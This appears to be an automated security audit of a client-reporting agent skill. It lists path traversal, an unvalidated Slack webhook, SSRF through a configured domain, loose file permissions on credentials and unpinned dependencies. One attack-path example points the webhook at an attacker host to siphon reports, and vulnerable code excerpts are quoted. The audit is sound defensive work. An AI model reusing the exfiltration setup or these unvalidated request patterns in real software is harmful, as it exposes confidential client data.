Back to skill

Security audit

Client Reporting Automation

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent client-reporting tool, but it handles sensitive reports, credentials, local paths, and outbound destinations without enough validation or safeguards.

Review this skill carefully before installing. Use it only in a trusted local workspace, keep client names to safe slugs, protect config files with restrictive permissions, prefer environment variables or a secret manager for API keys, and verify every email recipient or Slack webhook before sending reports. Avoid running it against untrusted client configurations until path validation, webhook allowlisting, and domain validation are added.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/add-client.sh:19
Finding

Unvalidated Client Identifier Enables Path Traversal Outside the Client Workspace

Content
View full analysis
Remediation
View remediation
&2 exit 1 fi ``` 2. Apply equivalent validation to `NAME` in `add-client.sh`. 3. Canonicalize both the client root and candidate path with `realpath` or `realpath -m`. 4. Verify containment after canonicalization: ```bash CLIENT_ROOT="$(realpath -m "$BASE_DIR/clients")" CLIENT_DIR="$(realpath -m "$CLIENT_ROOT/$CLIENT")" case "$CLIENT_DIR/" in "$CLIENT_ROOT"/*) ;; *) echo "Client path escapes workspace" >&2; exit 1 ;; esac ``` 5. Reject symbolic links where configuration, report, or data files are expected, or open files using mechanisms that prevent symlink following. 6. Apply the same centralized validation routine to every script accepting a client identifier. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/deliver-report.sh:103
Finding

Unrestricted Slack Webhook Can Exfiltrate Confidential Reports

Content
View full analysis
3000: content = content[:3000] + "\n\n... [truncated — full report attached]" try: resp = requests.post(webhook, json={"text": f"📊 *{client_name} Report*\n\n{content}"}, timeout=10) ``` ### Technical Analysis Sending reports to Slack is declared functionality. However, the destination is accepted directly from client configuration or an environment variable and passed to `requests.post` without validation. The implementation does not: - Require HTTPS. - Verify that the host is an approved Slack webhook host. - Restrict redirects. - Display or require confirmation of the effective destination. - Protect against a configuration file being modified to reference an attacker-controlled endpoint. Consequently, the Skill treats any URL as a trusted Slack webhook and transmits up to 3,000 characters of report content to it. Reports may contain client analytics, search queries, page performance, conversion information, and other commercially sensitive data. ### Attack Path 1. An attacker gains the ability to create or modify a client configuration, or controls `SLACK_WEBHOOK_URL`. 2. The attacker sets the webhook to a server they control: ```json { "slack_webhook": "https://attacker.example/collect" } ``` 3. A user or scheduled workflow invokes: ```bash scripts/deliver-report.sh --client acme-corp --via slack --latest ``` 4. The script ...[truncated 738 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/pull-metrics.sh:100
Finding

Configuration-Controlled Domain Enables Server-Side Request Forgery

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/init-workspace.sh:5
Finding

Credential-Bearing Configuration Is Created Without Restrictive Permissions

Content
View full analysis
"$BASE_DIR/config.json" << 'EOF' { "ga4_credentials_file": "", "search_console_credentials_file": "", "sendgrid_api_key": "", "from_email": "", "from_name": "", "default_timezone": "America/Los_Angeles", "default_period": "30d" } EOF echo "Created config.json" fi ``` ### Technical Analysis The global configuration is explicitly intended to hold a SendGrid API key and paths to Google service-account credential files. The initialization script creates the directory and `config.json` using the caller's current umask and does not subsequently apply restrictive permissions. Under a permissive umask or in a permissive parent directory, other local users may be able to read the configuration. Credential-file paths are less sensitive than the key material itself, but they can reveal where service-account secrets are stored. The SendGrid key is stored directly in plaintext JSON. This issue depends on local filesystem permissions and deployment context; it does not guarantee that the file is world-readable on every system. ### Attack Path 1. The Skill is initialized under a permissive umask or shared workspace: ```bash scripts/init-workspace.sh ``` 2. A user populates `config.json` with a SendGrid API key and credential paths as instructed. 3. Another local account with read access to the resulting path opens the file. 4. The account obtains the SendGrid key and information about other credential locations. 5. The stolen key may then be used outside the Skill according to the permissions granted to that SendGrid cr ...[truncated 485 chars]
Remediation
View remediation

T08 · Insecure Dependencies

Warning
Location
SKILL.md:12
Finding

Unpinned Python Dependencies Create a Supply-Chain Risk

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (13)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill describes capabilities that inherently require filesystem access, network access, and likely environment or secret handling, but it declares no explicit tool scope or permission boundaries. In an automation skill that reads client configs, writes reports, and sends data to external APIs, missing scope increases the chance of over-broad execution and unintended access to local files, secrets, or network destinations.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The skill promotes automatic delivery of client reports via email or Slack, which transmits potentially sensitive client analytics and business data to third-party services, but it provides no warning, consent checkpoint, or data classification guidance. In a client-reporting context, accidental disclosure to the wrong recipient, channel, or webhook could expose confidential performance, traffic, or conversion data.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The setup instructions direct users to place API keys and service account credentials in config.json files without any security guidance. Storing long-lived secrets in workspace files increases the risk of accidental source control commits, local disclosure, over-permissive file access, and compromise of Google, social media, or email accounts used by the reporting system.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The document instructs users to create and download a long-lived service-account JSON key but provides no guidance on secure storage, restricted access, rotation, or avoidance of committing the key to source control. In a reporting automation skill that aggregates client analytics data, mishandling this credential could allow unauthorized access to GA4 data across client properties where the service account was granted access.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/deliver-report.sh (reported line 84)May include surrounding context.

sh
content_type = "text/html" if is_html else "text/plain"
    
    try:
        resp = requests.post(
            "https://api.sendgrid.com/v3/mail/send",
            headers={"Authorization": f"Bearer {sendgrid_key}", "Content-Type": "application/json"},
            json={

External Transmission

Medium
Category
Data Exfiltration
Confidence
80% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/deliver-report.sh (reported line 84)May include surrounding context.

sh
content_type = "text/html" if is_html else "text/plain"
    
    try:
        resp = requests.post(
            "https://api.sendgrid.com/v3/mail/send",
            headers={"Authorization": f"Bearer {sendgrid_key}", "Content-Type": "application/json"},
            json={

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/deliver-report.sh (reported line 85)May include surrounding context.

sh
try:
        resp = requests.post(
            "https://api.sendgrid.com/v3/mail/send",
            headers={"Authorization": f"Bearer {sendgrid_key}", "Content-Type": "application/json"},
            json={
                "personalizations": [{"to": [{"email": to_email}]}],

External Transmission

Medium
Category
Data Exfiltration
Confidence
80% confidence
Finding

The script posts report contents to a webhook URL taken directly from client config or an environment variable, with no validation of destination or allowlist enforcement. If an attacker can modify configuration, they can redirect sensitive client reports to an arbitrary external endpoint, turning intended Slack delivery into data exfiltration.

Content

Scanner excerpt · scripts/deliver-report.sh (reported line 116)May include surrounding context.

sh
content = content[:3000] + "\n\n... [truncated — full report attached]"
    
    try:
        resp = requests.post(webhook, json={"text": f"📊 *{client_name} Report*\n\n{content}"}, timeout=10)
        if resp.status_code == 200:
            print("   ✅ Sent to Slack")
        else:

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

When Search Console is not configured, the script silently substitutes a live HTTP probe to the client-provided domain. That changes the behavior from analytics collection to external network access against a dynamic target, which can disclose internal network reachability or be abused to contact unintended hosts if the domain field is attacker-controlled.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

The reachability check is outside the stated reporting scope and performs outbound requests based on client configuration without clear necessity. In a multi-client automation context, that broadens the attack surface by letting configuration data drive network activity, which can be misused for internal service probing or unintended contact with third-party systems.

Content

No source excerpt is available for this finding.

Dynamic Request Target

Medium
Category
Server-Side Request Forgery
Confidence
91% confidence
Finding

The script performs requests.get on a URL built from the unvalidated domain field in client configuration. If an attacker can influence that value, they can trigger server-side requests to arbitrary hosts, potentially probing internal infrastructure, hitting cloud metadata endpoints via hostname tricks, or causing the reporting environment to access sensitive network locations.

Content

Scanner excerpt · scripts/pull-metrics.sh (reported line 116)May include surrounding context.

sh
# Fallback: use our SEO audit tools for basic metrics
        print("   → GSC: not configured, using web audit fallback...")
        try:
            resp = requests.get(f"https://{domain}", headers={"User-Agent": "ReighlanBot/1.0"}, timeout=10)
            metrics["sources"]["gsc"] = {
                "status": "fallback",
                "domain_reachable": resp.status_code == 200,

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

Referencing a credentials file path in configuration without clearly labeling it as sensitive can normalize insecure handling and lead users to place authentication material in predictable or poorly protected locations. In this skill's context, which automates recurring client reporting, that increases the chance of credential leakage through shared configs, backups, logs, or repository commits.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

This shell/Python script performs an outbound HTTP request to a client-configured domain as a fallback metrics mechanism. While it prints that it is 'using web audit fallback,' there is no clear user-facing warning that the script will contact an external host and transmit request metadata such as the User-Agent and target domain.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.